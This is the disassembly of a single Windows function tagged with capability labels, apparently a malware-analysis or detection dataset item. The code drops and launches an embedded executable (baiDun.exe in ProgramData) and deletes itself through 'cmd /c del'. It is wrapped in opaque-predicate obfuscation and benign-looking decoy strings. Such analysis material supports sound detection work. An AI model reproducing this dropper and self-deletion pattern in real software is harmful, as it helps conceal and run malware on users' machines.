Function at 0x140001000
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0xe40
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xdb8], 0xfffffffffffffffe
lea rsi, str.Matched__n
mov rcx, rsi
call fcn.140001b40
mov rcx, rsi
call fcn.140001b40
mov rcx, rsi
call fcn.140001b40
mov dword [rbp + 0xd9c], 0
lea rsi, [rbp + 0x1e0]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call fcn.14002b9d0
lea rdi, [rbp - 0x30]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.14002b9d0
lea rbx, [0x1400596a4]
lea r9, str.c:_programdata_baiDun.exe
mov edx, 0x104
mov rcx, rsi
mov r8, rbx
call fcn.140001c00
lea r9, [0x140059712]
mov edx, 0x104
mov rcx, rdi
mov r8, rbx
call fcn.140001c00
lea rax, [rbp + 0xd58]
mov qword [rbp + 0xa20], rax
mov eax, 0xa9cf2212
xorps xmm0, xmm0
nop
cmp eax, 0xeb71c84
je 0x14000114c
cmp eax, 0xa9cf2212
jne 0x1400010c0
mov rax, qword [rbp + 0xa20]
mov ecx, 0xa852e574
nop
cmp ecx, 0xa852e574
je 0x1400010f2
cmp ecx, 0x1f35c0d7
jne 0x1400010e0
jmp 0x1400010f9
mov ecx, 0x1f35c0d7
jmp 0x1400010e0
mov qword [rbp + 0x3f0], rax
mov rax, qword [rbp + 0x3f0]
mov ecx, 0x1554fbf5
nop dword [rax]
cmp ecx, 0x1554fbf5
je 0x140001122
cmp ecx, 0x280f90a9
jne 0x140001110
jmp 0x140001129
mov ecx, 0x280f90a9
jmp 0x140001110
mov qword [rbp + 0x600], rax
mov rcx, qword [rbp + 0x600]
mov qword [rcx], 0
movups xmmword [rax + 8], xmm0
mov eax, 0xeb71c84
jmp 0x1400010c0
mov rax, qword [rbp + 0xa20]
mov dword [rbp + 0x600], 1
mov ebx, 0x7ba42618
lea rsi, [rbp + 0xd58]
lea rdi, [rbp + 0x600]
cmp ebx, 0xdf322c53
je 0x140001192
cmp ebx, 0x7ba42618
jne 0x140001170
mov ebx, 0xdf322c53
mov rcx, rsi
mov rdx, rdi
call fcn.1400049c0
jmp 0x140001170
mov dword [rbp + 0x600], 0x65
mov ebx, 0x7ba42618
lea rsi, [rbp + 0xd58]
lea rdi, [rbp + 0x600]
nop
cmp ebx, 0xdf322c53
je 0x1400011d2
cmp ebx, 0x7ba42618
jne 0x1400011b0
mov ebx, 0xdf322c53
mov rcx, rsi
mov rdx, rdi
call fcn.1400049c0
jmp 0x1400011b0
mov dword [rbp + 0x600], 0x37
mov ebx, 0x7ba42618
lea rsi, [rbp + 0xd58]
lea rdi, [rbp + 0x600]
nop
cmp ebx, 0xdf322c53
je 0x140001212
cmp ebx, 0x7ba42618
jne 0x1400011f0
mov ebx, 0xdf322c53
mov rcx, rsi
mov rdx, rdi
call fcn.1400049c0
jmp 0x1400011f0
lea rcx, [rbp + 0xda8]
lea rdx, [rbp + 0xc68]
lea r8, [rbp + 0xd58]
mov r9d, 0x63
call fcn.140016210
mov eax, 0x91948cf6
lea rsi, [rbp + 0xc68]
nop
cmp eax, 0x12e94588
je 0x14000125d
cmp eax, 0x91948cf6
jne 0x140001240
mov rcx, rsi
call fcn.140004690
mov eax, 0x12e94588
jmp 0x140001240
lea r8, [rbp + 0xd9c]
xor ecx, ecx
mov edx, 0x2635
call fcn.1400173e0
mov r8d, dword [rbp + 0xd9c]
lea rcx, [rbp + 0x1e0]
mov rdx, rax
call fcn.140017aa0
xorps xmm0, xmm0
movaps xmmword [rbp + 0xcd0], xmm0
movaps xmmword [rbp + 0xcc0], xmm0
movaps xmmword [rbp + 0xcb0], xmm0
movaps xmmword [rbp + 0xca0], xmm0
movaps xmmword [rbp + 0xc90], xmm0
movaps xmmword [rbp + 0xc80], xmm0
mov qword [rbp + 0xce0], 0
movaps xmmword [rbp + 0xd40], xmm0
mov qword [rbp + 0xd50], 0
mov dword [rbp + 0xc80], 0x68
lea rax, [rbp + 0xd40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xc80]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp + 0xd48]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0xd40]
call rsi
lea rdx, str.John
mov qword [rbp + 0xd70], rdx
mov dword [rbp + 0xd78], 0x1b
lea rcx, str._s_is__d_years_old._n
mov r8d, 0x1b
call fcn.140001b40
lea rcx, [rbp + 0xd70]
call fcn.140017390
mov r8d, dword [rbp + 0xd78]
mov rdx, qword [rbp + 0xd70]
lea rcx, str.Happy_birthday___s_is_now__d_years_old._n
call fcn.140001b40
lea rsi, [rbp + 0x600]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call fcn.14002b9d0
lea rdi, [rbp + 0x3f0]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.14002b9d0
lea rbx, [0x1400596a4]
lea r9, [0x140059690]
mov edx, 0x104
mov rcx, rsi
mov r8, rbx
call fcn.140001c00
lea r9, [0x140059712]
mov edx, 0x104
mov rcx, rdi
mov r8, rbx
call fcn.140001c00
lea rdx, [0x14005957e]
lea rcx, [rbp + 0xcf0]
call fcn.140001ce0
lea rdx, [0x14005957c]
lea rcx, [rbp + 0xc48]
call fcn.140001ce0
lea rcx, [rbp + 0xdb0]
lea rdx, [rbp + 0xc28]
lea r8, [rbp + 0xc48]
lea r9, [rbp + 0xcf0]
call fcn.140021f90
lea rsi, [rbp + 0xc28]
mov rcx, rsi
call fcn.140002bb0
mov eax, 0xdd1b6146
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xdd1b6146
je 0x140001460
cmp eax, 0x176ceb8
jne 0x140001450
jmp 0x140001467
mov eax, 0x176ceb8
jmp 0x140001450
mov qword [rbp + 0x810], rsi
mov rax, qword [rbp + 0x810]
mov ecx, 0xa598ef13
nop word [rax + rax]
cmp ecx, 0xa598ef13
je 0x140001492
cmp ecx, 0x7a6ae9ce
jne 0x140001480
jmp 0x140001499
mov ecx, 0x7a6ae9ce
jmp 0x140001480
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov eax, 0xc170105
nop dword [rax]
cmp eax, 0xc170105
je 0x1400014c0
cmp eax, 0x9e098d6f
jne 0x1400014b0
jmp 0x1400014c7
mov eax, 0x9e098d6f
jmp 0x1400014b0
lea rdx, [0x1400625d0]
lea rcx, [rbp + 0x600]
mov r8d, 0x27a9
call fcn.140023850
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea rdx, [0x140059712]
lea r8, [rbp + 0x600]
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm0, xmmword [section..rdata]
movaps xmmword [rbp + 0xd10], xmm0
lea rax, [rbp + 0xd28]
mov qword [rbp + 0xd90], rax
mov eax, 0xf91046f8
mov rcx, qword [rbp + 0xd90]
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xf91046f8
je 0x140001550
cmp eax, 0x2c434649
jne 0x140001540
jmp 0x140001557
mov eax, 0x2c434649
jmp 0x140001540
lea rax, [rbp + 0xd20]
mov edx, 0x1554fbf5
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1554fbf5
je 0x140001582
cmp edx, 0x280f90a9
jne 0x140001570
jmp 0x140001589
mov edx, 0x280f90a9
jmp 0x140001570
mov qword [rbp + 0xa20], rcx
mov rdx, qword [rbp + 0xa20]
mov qword [rdx], 0
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
lea rcx, [rbp + 0xd80]
mov qword [rbp + 0xda0], rcx
mov rcx, qword [rbp + 0xda0]
mov edx, 0x4cc97bb3
mov rcx, qword [rbp + 0x810]
nop word cs:[rax + rax]
cmp edx, 0xf8f25d6b
je 0x1400015ee
cmp edx, 0x4cc97bb3
jne 0x1400015d0
mov rcx, qword [rbp + 0xd90]
mov edx, 0xf8f25d6b
jmp 0x1400015d0
mov qword [rbp + 0x810], rcx
mov rcx, qword [rbp + 0x810]
mov ecx, 0x93262f22
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x93262f22
je 0x140001622
cmp ecx, 0xb4f3e139
jne 0x140001610
jmp 0x140001629
mov ecx, 0xb4f3e139
jmp 0x140001610
mov ecx, 0xf2ac334b
nop
cmp ecx, 0xf2ac334b
je 0x140001642
cmp ecx, 0x33f61ce5
jne 0x140001630
jmp 0x140001649
mov ecx, 0x33f61ce5
jmp 0x140001630
mov qword [rbp + 0xa20], rax
mov r8, qword [rbp + 0xa20]
mov eax, 0xf2ac334b
nop dword [rax]
cmp eax, 0xf2ac334b
je 0x140001670
cmp eax, 0x33f61ce5
jne 0x140001660
jmp 0x140001677
mov eax, 0x33f61ce5
jmp 0x140001660
lea rax, [rbp + 0xd10]
mov qword [rbp + 0xa20], rax
mov rdx, qword [rbp + 0xa20]
lea rcx, [rbp + 0xd28]
call fcn.140005b90
mov rax, qword [rbp + 0xda0]
lea rcx, [rbp + 0xd28]
mov edx, 1
call fcn.140023980
lea rcx, [0x140065ce0]
mov edx, eax
call fcn.140001ed0
mov rsi, rax
mov eax, 0xa4570fd3
lea r14, [rbp + 0xa20]
nop dword [rax]
cmp eax, 0xd9e380f0
je 0x14000183d
cmp eax, 0xa4570fd3
jne 0x1400016d0
mov qword [rbp + 0xd88], rsi
mov rax, qword [rbp + 0xd88]
mov rax, qword [rax]
add rax, 4
mov qword [rbp + 0xd80], rax
mov edi, 0xe48dd087
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xfc1d8aeb
je 0x14000182b
cmp edi, 0xe48dd087
jne 0x140001710
mov rax, qword [rbp + 0xd80]
movsxd rax, dword [rax]
mov rcx, qword [rbp + 0xd88]
mov rax, qword [rcx + rax + 0x40]
mov ecx, 0x76bb053e
nop
cmp ecx, 0x76bb053e
je 0x140001752
cmp ecx, 0xc1f85e6
jne 0x140001740
jmp 0x140001759
mov ecx, 0xc1f85e6
jmp 0x140001740
mov qword [rbp + 0xd90], rax
mov rax, qword [rbp + 0xd90]
mov ecx, 0x6e4e0621
nop dword [rax]
cmp ecx, 0xa65c96b8
je 0x1400017ae
cmp ecx, 0x6e4e0621
jne 0x140001770
mov rcx, qword [rax + 8]
mov qword [rbp + 0xa28], rcx
mov qword [rbp + 0xda0], rcx
mov rcx, qword [rbp + 0xda0]
mov rcx, qword [rcx]
mov rcx, qword [rcx + 8]
mov qword [rbp + 0x810], rcx
mov ecx, 0xa65c96b8
jmp 0x140001770
mov rcx, qword [rbp + 0xda0]
mov rax, qword [rbp + 0x810]
call rax
mov rcx, r14
call fcn.14000bc10
mov rbx, rax
mov rax, qword [rax]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x810], rax
mov eax, 0xb9b0e78
nop dword [rax]
cmp eax, 0x49745b04
je 0x140001809
cmp eax, 0xb9b0e78
jne 0x1400017e0
mov rax, qword [rbp + 0x810]
mov rcx, rbx
mov dl, 0xa
call rax
mov byte [rbp + 0xda0], al
mov eax, 0x49745b04
jmp 0x1400017e0
mov bl, byte [rbp + 0xda0]
mov rcx, r14
call fcn.1400063d0
mov edi, 0xfc1d8aeb
mov rcx, rsi
mov edx, ebx
call fcn.140015e70
jmp 0x140001710
mov rcx, rsi
call fcn.140006760
mov eax, 0xd9e380f0
jmp 0x1400016d0
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xa20]
xor ecx, ecx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000191e
lea rcx, [rbp + 0xa20]
mov rdx, rcx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x14000191e
lea rdx, str._c_del
lea rsi, [rbp + 0x810]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rbx, qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdi, [rbp + 0xa20]
mov rcx, rsi
mov rdx, rdi
call rbx
lea rdx, [0x1400596f4]
mov rcx, rsi
call rbx
lea rcx, str.ComSpec
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x14000191e
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0xa20]
lea r9, [rbp + 0x810]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x21
jl 0x14000191e
lea rcx, [0x14005968d]
call fcn.140001b40
lea rcx, [0x140065ce0]
lea rdx, str.Hello_World__n
call fcn.140002410
mov eax, 0x91948cf6
lea rsi, [rbp + 0xd28]
nop dword [rax]
cmp eax, 0x12e94588
je 0x14000195d
cmp eax, 0x91948cf6
jne 0x140001940
mov rcx, rsi
call fcn.140004690
mov eax, 0x12e94588
jmp 0x140001940
mov eax, 0x91948cf6
lea rsi, [rbp + 0xd58]
nop dword [rax]
cmp eax, 0x12e94588
je 0x14000198d
cmp eax, 0x91948cf6
jne 0x140001970
mov rcx, rsi
call fcn.140004690
mov eax, 0x12e94588
jmp 0x140001970
xor eax, eax
add rsp, 0xe40
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret